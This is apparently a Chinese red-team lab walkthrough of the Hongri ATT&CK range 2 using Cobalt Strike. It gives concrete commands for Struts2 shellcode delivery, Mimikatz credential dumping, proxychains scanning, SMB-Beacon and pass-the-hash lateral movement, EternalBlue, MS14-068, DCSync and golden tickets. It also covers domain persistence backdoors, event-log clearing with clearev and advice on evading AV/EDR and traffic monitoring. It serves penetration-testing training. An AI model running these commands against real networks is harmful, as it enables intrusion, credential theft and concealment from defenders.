1. 项目概述:从靶场演练到实战思维的内网渗透路径
如果你在安全圈待过一段时间,肯定听过“红日安全”的ATT&CK靶场。这个系列靶场,尤其是靶场二,几乎成了国内安全从业者检验自己内网渗透能力的“标准考卷”。它模拟了一个典型的企业内网环境,从外网Web入口到内网横向移动,再到最终获取域控权限,完整覆盖了攻击杀伤链的各个环节。但很多朋友在复现时,往往停留在“按图索骥”的层面,照着别人的WP(Writeup,解题报告)一步步敲命令,知其然不知其所以然。一旦脱离靶场环境,面对真实、复杂且充满未知的实战网络,立刻就感到无从下手。
这正是我写这篇长文的核心目的: 不止于复现,更在于理解与转化 。我将以“红日ATT&CK靶场二”为蓝本,但全程使用Cobalt Strike作为核心攻击平台,带你走一遍完整的内网渗透流程。选择Cobalt Strike(后文简称CS)的原因很简单,它是目前红队实战中最主流、最强大的协同攻击框架,其可视化操作、团队协作、丰富的后渗透模块和强大的扩展性,远非单一的命令行工具可比。通过这个项目,你不仅能掌握靶场的通关技巧,更能深刻理解CS在内网渗透中的战术运用、工具链衔接和攻击者思维,从而将靶场经验无缝迁移到实战评估中。
整个流程我们将拆解为几个核心阶段:初始立足点的获取、内网信息侦察、横向移动与权限提升、域环境深入与最终目标达成。在每个阶段,我都会重点解释为什么选择CS的某个功能、对应的底层原理是什么、以及在实际操作中可能遇到的“坑”和应对技巧。无论你是正在学习内网渗透的新手,还是希望将工具使用提升到战术层面的进阶者,这篇文章都将提供一条清晰的、可复现的、富含实战思维的路径。
2. 环境准备与Cobalt Strike基础配置
工欲善其事,必先利其器。在开始渗透之前,搭建一个稳定、隐蔽的Cobalt Strike团队服务器是第一步,这直接关系到后续所有操作的顺畅度和安全性。
2.1 Cobalt Strike团队服务器部署详解
CS分为客户端(Client)和团队服务器(Team Server)。团队服务器是核心枢纽,所有攻击载荷的生成、会话的管理、数据的回传都经由它。部署时,首要考虑的是隐蔽性和稳定性。
服务器选择与基础环境 :不建议在个人电脑或家用网络直接部署。一个常见的做法是使用境外的VPS(虚拟专用服务器)。选择时,优先考虑那些对流量审查相对宽松的地区,并且提供商支持自定义安装Linux系统。系统我推荐使用Ubuntu 20.04 LTS或Debian 10+,它们社区支持好,软件包齐全。购买后,第一件事就是更新系统并配置防火墙,只开放SSH(建议修改为非默认22端口)和后续CS服务需要用的端口。
安装与启动 :CS是一个Java程序,因此需要先安装Java运行环境。这里有个关键点: 必须使用Oracle Java 8 ,OpenJDK可能会在图形界面或某些功能上出现兼容性问题。安装好Java后,将CS的压缩包上传到服务器,解压。启动团队服务器的命令看似简单,但参数选择至关重要:
./teamserver <服务器IP> <连接密码> [profile] [YYYY-MM-DD]
-
<服务器IP>:填写你VPS的公网IP地址。 -
<连接密码>:这是客户端连接团队服务器的密码,务必设置得足够复杂。 -
[profile]:这是Malleable C2配置文件,它是CS隐蔽性的灵魂。我们稍后详细讲。 -
[YYYY-MM-DD]:用于生成证书的日期,保持默认即可。
一个完整的启动命令示例:
./teamserver 192.0.2.100 MySuperSecretPassword123 ./profiles/amazon.profile
。启动成功后,你会看到服务器监听在50050端口。
注意 :绝对不要在公网服务器上以root用户直接运行CS。应该创建一个专用的、低权限的用户来运行它,例如
cobalt。这能在一定程度上实现权限隔离,万一服务被攻破,也能限制攻击者的权限。
2.2 客户端连接与Malleable C2配置精讲
在本地攻击机(通常是Kali Linux或Windows)上运行CS客户端(
cobaltstrike.exe
或
./cobaltstrike
)。启动后,会弹出连接窗口,填入团队服务器的IP、端口(默认50050)、用户名(可任意)和刚才设置的密码即可连接。
连接成功后,界面看起来可能有点复杂,但核心区域就几个:顶部的攻击菜单、左侧的视图栏(主机、会话、凭证等)、中部的交互界面和底部的命令输入框。我们先不急于生成载荷,而是先来配置最关键的一环—— Malleable C2 Profile 。
为什么它如此重要?在实战中,蓝队(防御方)的流量监控设备(如IDS/IPS、防火墙、全流量分析系统)会仔细检查网络流量中的异常模式。CS默认的通信流量特征是比较明显的,容易被识别和拦截。Malleable C2 Profile就是一个配置文件,它允许你高度自定义Beacon(CS的代理)与团队服务器之间通信的方方面面,包括:
-
HTTP请求/响应头
:模仿成正常的浏览器流量,如使用常见的
User-Agent,添加Accept、Referer等头。 -
URI路径
:将通信路径伪装成常见的网站路径,如
/api/v1/user/login、/static/jquery.min.js,而不是默认的/jquery-3.3.1.min.js。 - 数据编码与加密 :指定数据如何封装在HTTP请求中(如藏在Cookie里、POST数据中),以及使用何种编码(Base64、NetBIOS等)和加密方式。
- 睡眠时间(Sleep)与抖动(Jitter) :控制Beacon回连的频率和随机性,避免规律的“心跳”被检测。
红日靶场环境通常没有强力的流量审计,但在实战中,这一步是生死攸关的。我强烈建议在实战前,根据目标行业的常见软件(如模仿某云服务商API、内部办公系统接口)来精心制作或选用一个成熟的Profile。CS自带了一些预置的Profile(如
amazon.profile
模仿亚马逊云),社区也有大量开源的可供参考。加载Profile是在创建监听器时进行的,我们马上就会讲到。
2.3 创建监听器与生成初始攻击载荷
监听器(Listener)是Beacon回连的“接应点”。在CS中点击
Attacks
->
Packages
->
Windows Executable
来生成载荷前,必须先创建好监听器。
点击
Cobalt Strike
->
Listeners
,然后点击
Add
。主要类型有:
- HTTP/HTTPS :最常用,利用HTTP/HTTPS协议回连。需要配置团队服务器的IP/端口和绑定的域名(如果有)。
- SMB Beacon :用于内网横向移动,通过命名管道在已控机器之间传递会话,不出网。
- DNS Beacon :利用DNS查询和响应传输数据,隐蔽性极高,但配置复杂,需要自有域名并设置特殊的DNS解析。
对于从外网打点,我们通常先创建一个HTTP或HTTPS监听器。在配置时,最关键的是在
Payload
选项卡中,勾选我们之前准备好的Malleable C2 Profile。这样生成的Beacon,其通信特征就会符合Profile的定义。
生成载荷时,有几个格式选项:
- Windows Executable (exe) :最直接的PE文件。
- Windows Executable (Stageless) :不分阶段的载荷,体积大但一次性完成所有工作。
- Windows Executable (S) :生成一个Shellcode,可以注入到其他合法进程中。
- Scripted Web Delivery :生成一段PowerShell或Python等脚本,用于无文件落地攻击。
在靶场中,为了简化,我们可以直接生成一个exe。但在实战中, 直接投递exe文件成功率极低 。更常见的做法是生成PowerShell命令或Shellcode,然后通过鱼叉邮件、水坑攻击、漏洞利用(如Web漏洞)等方式进行投递和执行。例如,利用Web应用的文件上传漏洞上传一个图片马,再结合文件包含漏洞将Shellcode加载到内存中执行,实现无文件落地。
3. 外网打点与初始立足点建立
红日靶场二通常从一个存在漏洞的Web应用开始。我们的目标是利用这个入口,将CS的Beacon植入到目标服务器上,获得第一个内网跳板。
3.1 漏洞利用与Shellcode注入实战
假设靶场外网IP是
192.168.1.100
,上面运行着一个存在Struts2漏洞(例如S2-045)的网站。我们的攻击机Kali IP是
192.168.1.50
,CS团队服务器在公网VPS上。
首先,我们用MSF(Metasploit Framework)来利用这个漏洞。但这里不是直接用MSF弹一个Meterpreter回来,而是让它执行一段能连接我们CS监听器的Shellcode。这就是所谓的 “MSF+CS” 联动 。
-
在CS中生成Shellcode
:点击
Attacks->Packages->Payload Generator。选择我们之前创建的HTTP监听器,输出格式选择C。CS会生成一大段C语言格式的Shellcode数组。 -
在MSF中配置漏洞利用模块
:启动MSF,搜索对应的Struts2利用模块,例如
use exploit/multi/http/struts2_content_type_ognl。 -
关键步骤:设置Payload为自定义Shellcode
:在MSF中,我们需要设置一个特殊的Payload:
use payload/generic/custom。这个Payload允许我们直接注入自定义的Shellcode。将上一步CS生成的C数组内容(去掉unsigned char buf[] =和结尾的;,只保留花括号内的十六进制数字串)复制出来,在MSF中设置set PAYLOAD <粘贴过来的Shellcode>。 -
设置其他参数并执行
:设置好目标RHOSTS、RPORT、TARGETURI等参数后,运行
exploit。
如果漏洞利用成功,MSF会将这段Shellcode注入到目标服务器的Java进程内存中执行。这段Shellcode的功能就是连接回我们的CS团队服务器,下载完整的Beacon阶段并运行。此时,在CS的
Views
->
Hosts
和
Sessions
视图中,你应该能看到一台新上线的主机,以及一个初始的Beacon会话。
实操心得 :这种利用方式成功的关键有两点。第一,生成的Shellcode需要确保是适合目标系统架构的(通常是x64)。第二,在某些漏洞利用场景下,内存空间或字符过滤可能限制Shellcode的长度和内容。CS的Stageless Beacon生成的Shellcode较大,可能失败。此时可以尝试使用Staged(分阶段)方式,先生成一个小的“Stager” Shellcode,它只负责连接CS下载完整的Beacon,体积更小,更容易成功注入。
3.2 会话稳定性优化与权限维持
通过漏洞拿到第一个Beacon会话后,这个会话可能是不稳定的(例如因为漏洞利用过程导致进程崩溃),或者权限较低(可能是Web服务的权限,如
www-data
或
iis apppool\defaultapppool
)。我们需要立刻做两件事:
稳定会话
和
提升权限
。
会话迁移
:在CS中,右键点击新上线的会话,选择
Explore
->
Process List
,查看目标系统上的进程列表。我们需要寻找一个稳定、持久且具有较高权限的进程进行注入。理想的目标是:
-
系统关键进程
:如
lsass.exe(但注入它可能导致系统不稳定或崩溃,需谨慎)、services.exe、svchost.exe。 -
常见持久化进程
:如
explorer.exe(用户桌面进程,随用户登录而存在)。 - 与当前会话同位的进程 :如果当前是32位会话,就注入32位进程;64位则注入64位进程。注入错误位数的进程会失败。
选中一个目标进程(例如
explorer.exe
),右键选择
Inject
,然后选择我们之前创建的HTTP监听器。CS会生成一个新的Beacon,并将其注入到目标进程中。注入成功后,原始的、不稳定的会话可能会断开,但新的、更稳定的会话会建立起来。我们可以关闭或清除旧会话。
权限提升
:如果当前权限是普通用户,我们需要提权到SYSTEM或管理员。CS内置了多种提权模块,在
Access
->
Elevate
中。常用的有:
-
ms14-058/ms16-032等本地提权漏洞利用 :这些模块会尝试利用系统内核漏洞直接获取SYSTEM权限。成功率取决于系统是否打补丁。在靶场中,Windows 7或未及时更新的Server 2008通常存在这类漏洞。 -
getsystem命令 :这是一个基于令牌窃取的提权技术,通过run getsystem命令尝试。它不依赖漏洞,而是利用Windows的令牌机制,在某些配置下(如SeImpersonatePrivilege权限)可以成功。 -
UAC绕过
:如果当前用户是管理员组成员但受UAC限制,可以使用
Elevate中的UAC绕过模块(如uac-dll),生成一个高权限的Payload并执行。
在Beacon命令行中,输入
getuid
可以查看当前权限,输入
run getsystem
尝试提权。成功后再次
getuid
,应该显示
NT AUTHORITY\SYSTEM
。至此,我们在第一台靶机上获得了稳定、高权限的立足点。
4. 内网信息侦察与拓扑绘制
拿到跳板机后,切忌盲目横冲直撞。全面的信息侦察是内网渗透成功的一半。我们需要像侦探一样,收集关于当前机器、所在网段和整个域环境的一切信息。
4.1 主机与网络基础信息收集
CS的Beacon提供了丰富的内置命令进行信息收集,无需额外上传工具,减少了暴露风险。
-
系统信息
:
shell systeminfo可以获取详细的系统版本、补丁、安装时间等。netstat命令可以查看网络连接和监听端口,帮助我们发现内网的其他服务。 -
用户与组信息
:
net user、net localgroup administrators查看本地用户和管理员。net user /domain和net group “domain admins” /domain可以尝试查询域用户和域管理员(如果机器已加域)。 -
网络配置
:
ipconfig /all查看详细的IP、网关、DNS信息。arp -a查看ARP缓存表,可以发现同一网段内存活的其他主机。 -
凭证获取
:这是关键一步。使用
mimikatz命令(CS已集成)。直接输入logonpasswords,CS会在后台调用Mimikatz尝试从内存中抓取明文密码、哈希和票据。如果成功,你会在凭证视图(View->Credentials)中看到收集到的各类凭证。这些凭证是后续横向移动的“弹药”。
自动化侦察脚本
:除了手动命令,CS的
Aggressor Script
功能允许我们编写或加载自动化脚本。一个常用的脚本是
AutoRun
,可以预设一系列命令,在新会话建立时自动执行,快速完成基础信息收集。例如,可以配置自动运行
net view
(查看网络共享)、
whoami /all
(查看权限和令牌)、以及调用Mimikatz。
4.2 端口扫描与服务发现
知道了内网网段(例如
192.168.52.0/24
)后,下一步就是探测这个网段里有哪些存活主机,以及它们开放了哪些端口和服务。CS内置了端口扫描功能,但功能相对基础。更高效的做法是使用CS的
SOCKS Proxy
功能结合外部扫描器。
-
建立SOCKS代理
:在Beacon会话上右键,选择
Pivoting->SOCKS Server。这会建立一个SOCKS4a代理服务器,监听在团队服务器的某个端口上(例如1080)。这个代理的流量会通过已控的跳板机转发到内网。 -
配置攻击机使用代理
:在Kali上,我们可以配置
proxychains工具。编辑/etc/proxychains4.conf,在最后添加socks4 <你的CS团队服务器IP> 1080。 -
通过代理进行扫描
:现在,我们就可以在Kali上,通过
proxychains来运行任何扫描命令,流量都会经由跳板机进入内网。例如:proxychains nmap -sT -sV -Pn -p 80,135,139,445,3389,1433,3306 192.168.52.0/24-
-sT:TCP全连接扫描,通过代理时比SYN扫描更稳定。 -
-sV:版本探测。 -
-Pn:跳过主机发现,直接扫描指定IP。 -
-p:指定常见高危端口。
-
扫描结果会清晰地展示内网资产:哪些IP是存活的,开放了Web服务(80/443)、文件共享(445)、远程桌面(3389)还是数据库(1433, 3306)。将这些信息记录到CS的
Notes
功能中,或使用外部工具绘制简单的网络拓扑图。
4.3 域环境信息深度探测
如果目标网络是域环境(从
systeminfo
中的“域”信息或
net config workstation
可以判断),那么侦察的重点就要转向Active Directory。
-
发现域控
:
nltest /dclist:<域名>或net group “domain controllers” /domain可以列出域控制器。通常域控的IP也比较固定,可能在某个特定网段。 -
枚举域信息
:使用
PowerView(PowerShell脚本)是域内信息收集的神器。我们可以将PowerView.ps1上传到跳板机,或者通过CS的PowerShell Import功能在内存中加载。常用命令包括:-
Get-NetDomain: 获取域基本信息。 -
Get-NetUser: 枚举所有域用户。 -
Get-NetGroupMember “Domain Admins”: 获取域管理员成员。 -
Get-NetComputer: 枚举所有域内计算机。 -
Find-LocalAdminAccess: 查找当前用户具有本地管理员权限的机器(这是横向移动的绝佳跳板)。
-
-
BloodHound 数据收集
:BloodHound是域渗透的“核武器”,它能通过图形化界面揭示域内用户、计算机、组之间的复杂关系,找出最短的攻击路径。我们需要在跳板机上运行数据收集器
SharpHound.exe(或PowerShell版本的Invoke-BloodHound)。收集的数据(几个JSON文件)下载回本地,再导入到BloodHound客户端进行分析。在CS中,可以上传SharpHound.exe并执行shell SharpHound.exe -c All来完成收集。
通过以上步骤,我们不仅拿到了跳板机的高权限,还摸清了内网的网络结构、存活主机、关键服务以及域环境的详细情况。一张清晰的“攻击地图”已经在脑海中形成。
5. 横向移动与权限提升技术实战
有了地图和弹药(凭证),就可以开始在内网中横向移动,扩大战果。横向移动的本质就是利用已获取的凭证或漏洞,从一台已控机器访问和控制另一台机器。
5.1 利用SMB Beacon进行无接触横向
这是CS最优雅的横向移动方式之一,特别适合在已控机器之间移动。其原理是:在已控机器A上启动一个SMB Beacon监听器,当我们在机器B上执行一个特殊的Payload(SMB Beacon连接器)时,它不会直接回连团队服务器,而是通过命名管道连接到机器A上的SMB Beacon,再由机器A的Beacon作为中继,与团队服务器通信。这样,机器B的流量完全不出内网,隐蔽性极高。
操作步骤 :
-
在已控的高权限会话(会话A)上右键,
Listeners->Add,类型选择SMB Beacon。给它起个名字,比如smb。这个监听器只存在于会话A的内存中。 -
我们需要让目标机器B来连接这个SMB Beacon。在CS中,生成一个Windows可执行文件,但这次在创建时,
Payload选择刚才创建的SMB Beacon。生成一个smb.exe。 -
如何让机器B执行这个
smb.exe?这里有多种方式:-
PsExec
:如果拥有机器B的管理员凭证(用户名和密码哈希),可以在会话A的Beacon中使用
psexec命令:psexec <目标IP> <用户名> <密码或哈希> smb.exe。CS内置的psexec模块会自动上传文件并执行。 -
WMI
:使用
wmi命令:wmi <目标IP> <用户名> <密码> “C:\Windows\Temp\smb.exe”。需要先将smb.exe上传到目标可写目录。 -
计划任务
:使用
schtasks命令创建远程计划任务来执行。 - SMB共享与服务 :如果权限足够,可以直接将文件写入目标机器的ADMIN$共享,并创建服务执行。
-
PsExec
:如果拥有机器B的管理员凭证(用户名和密码哈希),可以在会话A的Beacon中使用
当机器B执行了
smb.exe
后,在CS的
Sessions
视图里,你不会立刻看到一个新的独立会话。你需要回到会话A,在
Interact
界面输入
link <目标IP>
来连接通过SMB Beacon上线的机器B的会话。此时,机器B的所有通信都通过机器A转发,实现了“无接触”横向。
5.2 利用WMI与PsExec的凭证传递攻击
当通过Mimikatz抓取到了密码哈希(NTLM Hash)而非明文密码时,我们可以使用“Pass-the-Hash”(哈希传递)攻击。这种攻击方式允许我们仅凭哈希值,而无需破解出明文密码,就能通过NTLM认证访问资源。
-
CS内置的psexec模块
:在Beacon中,使用
psexec命令时,如果提供的密码是哈希值(格式如aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4),CS会自动识别并进行PtH攻击。 -
WMI with Hash
:同样,
wmi命令也支持直接使用哈希进行认证。 -
利用Impacket工具套件
:如果CS内置模块遇到问题,我们可以通过SOCKS代理,在攻击机上使用Impacket工具。例如:
这条命令会尝试通过哈希传递在目标机器上执行一个交互式Shell。proxychains python3 psexec.py -hashes :<NTLM_Hash> <域名>/<用户名>@<目标IP>
注意事项 :哈希传递成功的前提是目标服务(如SMB、WMI)启用了NTLM认证,并且目标账户在目标机器上具有足够的权限(通常是本地管理员)。此外,从Windows 8.1/Server 2012 R2开始,默认启用了“受限制的管理模式”和“Credential Guard”等安全机制,会对PtH攻击造成阻碍,需要采取其他绕过手段。
5.3 利用MS17-010(永恒之蓝)等漏洞进行横向
在内网中,可能存在未打补丁的老旧系统。MS17-010(永恒之蓝)是一个经典的SMB远程代码执行漏洞,影响范围极广。即使没有凭证,我们也可以利用它进行横向移动。
CS本身不直接集成MS17-010利用模块,但我们可以通过
execute-assembly
功能来运行.NET版的漏洞利用工具,或者通过
psinject
在PowerShell进程中加载利用脚本。
更常见的流程是:
- 通过之前的端口扫描,发现内网中开放445端口且可能未打补丁的机器(如Windows 7, Server 2008 R2)。
- 在攻击机Kali上,使用MSF生成一个指向我们CS监听器的Payload(Shellcode)。
-
通过SOCKS代理,使用
proxychains运行一个外部的MS17-010利用脚本(例如Python版的eternalblue_exploit7.py或eternalblue_exploit8.py,针对不同系统版本),将生成的Shellcode作为攻击载荷发送给目标。 - 如果漏洞利用成功,目标机器会执行Shellcode,连接回我们的CS,从而上线。
这种方式不依赖任何凭证,是“敲门砖”式的攻击。但在现代网络中,由于该漏洞危害巨大,大部分重要系统都已修复,因此更常作为针对边缘或老旧设备的攻击手段。
6. 域渗透与最终目标达成
横向移动的最终目标,往往是域控制器(Domain Controller, DC)。控制了DC,就等于控制了整个域。在红日靶场二中,最终目标就是获取域控制器的最高权限。
6.1 定位与攻击域控制器
通过前面的信息收集,我们已经知道了域控制器的IP和主机名(例如
DC01.redteam.local
)。攻击DC的方法多种多样,取决于我们当前掌握的权限和信息。
黄金票据攻击
:如果我们抓取到了域控的
krbtgt
账户的哈希(这是域Kerberos认证体系的核心密钥),就可以伪造任意用户的TGT(票据授予票据),从而访问域内任何服务。这是最彻底的域权限维持方法。
-
获取krbtgt哈希
:需要已经拥有域控的SYSTEM权限。在已控的域控上运行Mimikatz:
lsadump::dcsync /domain:redteam.local /user:krbtgt。这个命令会通过DCSync技术从域控同步指定用户(krbtgt)的凭据,得到其NTLM哈希。 -
制作黄金票据
:在任意已加入域的机器上(甚至是一台未加入域但知道域SID的机器),使用Mimikatz:
kerberos::golden /domain:redteam.local /sid:<域SID> /rc4:<krbtgt的NTLM哈希> /user:任意用户名(如fakeadmin) /ptt。/ptt参数表示将生成的票据直接注入当前会话的内存。 -
验证与使用
:票据注入后,就可以直接访问域控的共享了,例如
dir \\DC01\c$。此时,你可以使用psexec、wmi等方式在域控上执行命令,获取一个SYSTEM权限的Beacon。
MS14-068漏洞利用 :这是一个允许普通域用户提升到域管理员权限的Kerberos漏洞。如果我们只有一个普通域用户的凭证,可以尝试此漏洞。
-
利用工具
pykek(Python)或goldenPac.py(Impacket套件)来利用该漏洞。 -
命令类似:
proxychains python goldenPac.py -dc-ip <域控IP> redteam.local/普通用户:密码@域控主机名。 - 如果成功,会直接返回一个域控的SYSTEM权限Shell。我们可以将这个Shell转换为CS的Beacon。
6.2 DCSync攻击与域持久化
DCSync是Mimikatz提供的一种攻击手法,它模拟域控制器之间的数据同步行为。任何被授予了“复制目录更改”(Replicating Directory Changes)权限的账户,都可以向域控制器发起同步请求,从而获取指定用户的密码哈希。域管理员组(Domain Admins)默认拥有此权限。
如果我们已经通过某种方式(例如利用漏洞或抓取到了域管登录的会话)在域内一台成员服务器上获得了域管理员权限,我们可以直接在这台服务器上执行DCSync来获取krbtgt的哈希,而无需先攻陷域控本身。
在拥有域管权限的Beacon中,执行:
mimikatz lsadump::dcsync /domain:redteam.local /user:krbtgt
或者
mimikatz lsadump::dcsync /domain:redteam.local /user:administrator
获取到哈希后,就可以进行黄金票据攻击,实现持久的域控权限。
域持久化后门 :除了黄金票据,还有其他域持久化方法,例如:
- 白银票据 :针对特定服务(如CIFS, HOST)伪造服务票据,无需与KDC交互,但范围有限。
- Skeleton Key :在域控上植入万能密码,所有用户都可以使用这个额外密码登录,但重启失效。
- DSRM密码同步 :修改域控的目录服务还原模式密码,并启用其网络登录,作为后门账户。
- AdminSDHolder滥用 :修改AdminSDHolder对象的ACL,使得指定用户能被持续添加到受保护组中。
这些技术各有优劣和适用场景,在实战中需要根据目标环境的安全防护水平进行选择和组合。
6.3 靶场目标达成与痕迹清理
在红日靶场二中,最终目标可能是获取域控上某个特定文件(如
flag.txt
)或执行特定操作。在通过上述某种方式获得域控的Beacon会话后,就可以轻松完成。
例如,在域控的Beacon中:
shell type C:\flag.txt
或者上传下载文件。
痕迹清理 :在实战中,完成后需要尽可能清理痕迹,避免被溯源。但在靶场练习中,这一步通常可以省略。如需清理,可考虑:
-
清除事件日志
:
clearev命令可以清除当前机器上的安全、系统、应用程序日志。 - 删除创建的文件 :删除上传的工具(如Mimikatz.exe, SharpHound.exe)、生成的Payload文件以及可能创建的临时文件。
- 清除计划任务和服务 :如果创建了计划任务或服务进行持久化,记得删除。
- 注意 :过于彻底的清理本身也可能成为异常行为被记录下来。专业的红队行动会有更细致的“打扫战场”策略。
7. 常见问题排查与实战避坑指南
在实际操作中,尤其是从靶场环境转向更复杂的真实网络时,会遇到各种各样的问题。这里记录一些我踩过的坑和解决方案。
7.1 Beacon会话不稳定或中断
-
症状
:Beacon突然断开,无法交互,显示
lost。 -
可能原因及解决
:
- 网络不稳定或代理问题 :检查团队服务器网络,以及用于转发的跳板机是否稳定。如果是通过多层代理,确保每一层都通畅。
-
杀软查杀
:Beacon内存中被杀软识别并终止。尝试使用更隐蔽的Profile,增加睡眠时间和抖动,或者使用
Sleep Mask等技术对Beacon内存进行混淆。考虑使用C2-Tool-Collection等工具对Beacon进行混淆免杀。 - 注入的进程退出 :如果Beacon注入到了一个不稳定的进程(如某个应用程序),当该进程关闭时,Beacon也会退出。尽量注入到系统核心进程或持久化进程。
- 防火墙或IDS拦截 :通信模式被识别。检查Profile的配置,确保其模仿的流量与目标环境正常流量相似。可以考虑使用DNS Beacon或HTTPS Beacon(带有效证书)增加隐蔽性。
7.2 横向移动失败
-
症状
:使用
psexec、wmi或漏洞利用时,无法在目标机器上线。 -
可能原因及解决
:
-
凭证错误或权限不足
:确认使用的用户名、密码或哈希是否正确,以及该账户在目标机器上是否有管理员权限。可以尝试在Beacon中用
net use \\<目标IP>\IPC$ /user:<用户名> <密码>测试SMB连接。 - 防火墙阻止 :目标机器的防火墙可能阻止了SMB(445)、WMI(135)或RPC等端口。需要先进行端口扫描确认。如果端口被阻,可以尝试其他横向方法,如WinRM(5985/5986)、SSH(如果目标有)或者利用Web应用漏洞。
-
UAC限制
:即使当前用户是管理员,在非“管理员批准模式”下,远程访问时也可能受UAC影响导致权限降级。可以尝试使用
runas或计划任务以高权限执行。 - AV/EDR拦截 :投递的Payload或横向移动工具被终端安全软件拦截。需要对Payload进行免杀处理,或者使用“无文件”横向技术,如WMI执行命令、DCOM执行、PS远程等。
-
凭证错误或权限不足
:确认使用的用户名、密码或哈希是否正确,以及该账户在目标机器上是否有管理员权限。可以尝试在Beacon中用
7.3 域渗透相关错误
- 症状 :DCSync失败、黄金票据无效等。
-
可能原因及解决
:
- 权限问题 :执行DCSync需要拥有域控的复制权限(如域管理员)。确保当前会话的账户是域管理员或拥有同等权限。
-
时间同步问题
:Kerberos协议严重依赖时间同步。黄金/白银票据的有效时间基于票据中的时间戳。如果攻击机与域控的时间偏差超过5分钟(默认策略),票据将失效。确保攻击机时间与域时间同步(
net time \\<域控名>)。 -
域SID错误
:制作黄金票据时需要提供正确的域SID。可以通过
whoami /all命令查看当前用户的SID,域SID是用户SID去掉最后一部分(RID)。例如用户SID是S-1-5-21-3912242732-2617380311-625264380-1105,那么域SID就是S-1-5-21-3912242732-2617380311-625264380。 - Protected Users组 :如果目标用户被加入了“Protected Users”安全组,将无法使用NTLM认证,且Kerberos票据的默认有效期缩短,可能会影响票据攻击。
7.4 Cobalt Strike本身的使用技巧
-
团队协作
:在
Cobalt Strike->Preferences->VPN中可以设置VPN转发,方便多个攻击者通过不同的入口点接入同一个团队服务器,共享会话和数据。 -
日志与报告
:CS的
Reporting菜单可以生成各种格式的行动报告,详细记录所有操作、会话、凭证和截图,对于项目总结和复盘至关重要。 - Aggressor Script :学习编写或使用现成的Aggressor脚本可以极大提升自动化程度,例如自动截图、自动关键信息收集、自动化横向尝试等。
-
资源文件(.cna)
:将常用的第三方工具(如Mimikatz、PowerView、各种漏洞利用的exe)提前上传到CS的
Script Manager作为资源文件,可以在需要时快速分发到Beacon会话,避免每次手动上传。
从靶场到实战,最大的区别在于环境的“噪音”和“阻力”。靶场是静态的、已知的、脆弱的,而实战网络是动态的、未知的、有层层防御的。通过用Cobalt Strike完整复现红日靶场二,我们不仅练习了工具和流程,更重要的是培养了“攻击者思维”:如何隐蔽自己、如何收集信息、如何选择攻击路径、如何绕过防御、如何持久化。记住,工具是死的,思维是活的。将这套流程内化,并根据不同的实战场景灵活调整和组合,才是成为一名合格渗透测试人员或红队队员的关键。最后,所有技术都应在法律授权和道德准则的框架内使用,用于提升网络安全防御能力。
726

被折叠的 条评论
为什么被折叠?



